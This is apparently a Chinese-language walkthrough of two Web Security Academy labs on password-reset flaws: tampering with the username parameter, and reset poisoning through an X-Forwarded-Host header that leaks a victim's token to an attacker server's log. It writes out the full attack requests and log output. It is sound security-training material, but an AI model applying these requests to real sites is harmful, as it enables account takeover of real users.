Reseting Password

有些用戶會忘記密碼,因此系統會有重設密碼功能,這有幾種不同的實作方式,而且存在不同程度的重設密碼漏洞,常發生的地方有以下兩個:

  • 在網頁更改密碼
  • 用Email更改密碼

在網頁重置密碼

很多系統因為沒有綁定帳號,因此可以幫任何人重改密碼,舉例如下

以下為使用者carlos更改自己密碼的請求

POST /forgot-password?temp-forgot-password-token=zJuIal6i3fZ42mtO6b10UFtvSuXo6c7A
...omit...
temp-forgot-password-token=zJuIal6i3fZ42mtO6b10UFtvSuXo6c7A&username=carlos&new-password-1=abc&new-password-2=abc

但由於系統沒有做任何過濾,因此使用者carlos可以透過username參數改任何人的密碼,如下

POST /forgot-password?temp-forgot-password-token=zJuIal6i3fZ42mtO6b10UFtvSuXo6c7A
...omit...
temp-forgot-password-token=zJuIal6i3fZ42mtO6b10UFtvSuXo6c7A&username=admin&new-password-1=abc&new-password-2=abc

以上請求可讓carlos直接更改admin密碼

Lab: Password reset broken logic


用Email更改密碼

如果能偷到改密碼token,就能改任意使用者密碼,舉例如下

正常流程

某系統email改密碼流程如下

1. 如果wiener想更改密碼會發送以下請求

POST /forgot-password HTTP/1.1
Host: ac081f0e1ef832fe801c9a6b00c600e6.web-security-academy.net
...omit...
Cookie: session=D3hW9m3Frhs79Gz574pETzcvvZOI4Yjl

csrf=xc9Bxe6exRqWazSU3fV6eyQulogqs2ch&username=wiener

2.接著wiener會收到email驗證信,只要訪問驗證連結就可以改自己的密碼

Please follow the link below to reset your password.

https://ac081f0e1ef832fe801c9a6b00c600e6.web-security-academy.net/forgot-password?temp-forgot-password-token=7U9xxpdcAdc6IxMQ6PwIuhbDRC9YYJQo

攻擊方法

由於系統相信x-forwarded-host的位置,因此會把重要的資訊也送到這個位置,只要把位置改成自己,就能看到重要資訊

1.一樣延用之前wiener的請求,session token不變一樣使用wiener的,但將username改為受害者carlos,並增加x-forwarded-host

因此可以構造以下攻擊請求如下

POST /forgot-password HTTP/1.1
Host: ac081f0e1ef832fe801c9a6b00c600e6.web-security-academy.net
...omit...
X-Forwarded-Host: attackserver.web-security-academy.net
Cookie: session=D3hW9m3Frhs79Gz574pETzcvvZOI4Yjl
	
csrf=xc9Bxe6exRqWazSU3fV6eyQulogqs2ch&username=carlos

2.在攻擊主機(attackserver.web-security-academy.net)的access log會看到以下日志,可以發現carlos的token顯示在上面

...omit...
172.31.30.50    2020-09-17 01:54:53 +0000 "GET %2fforgot-password%3ftemp-forgot-password-token%3dXcqy8kyCDTMbQLuum1xqgLXXnkm8YqN7 HTTP/1.1" 404
...omit...

3.在wiener信箱裡會收到系統寄來的的驗證連結

Please follow the link below to reset your password.

https://ac081f0e1ef832fe801c9a6b00c600e6.web-security-academy.net/forgot-password?temp-forgot-password-token=F4wgrXujxQVH6SJuxqTDkMWiot93uVDn

4.將驗證連結的token改為carlos的如下

https://ac081f0e1ef832fe801c9a6b00c600e6.web-security-academy.net/forgot-password?temp-forgot-password-token=dXcqy8kyCDTMbQLuum1xqgLXXnkm8YqN7

訪問該鏈結後就可修改carlos的密碼

Lab: Password reset poisoning via middleware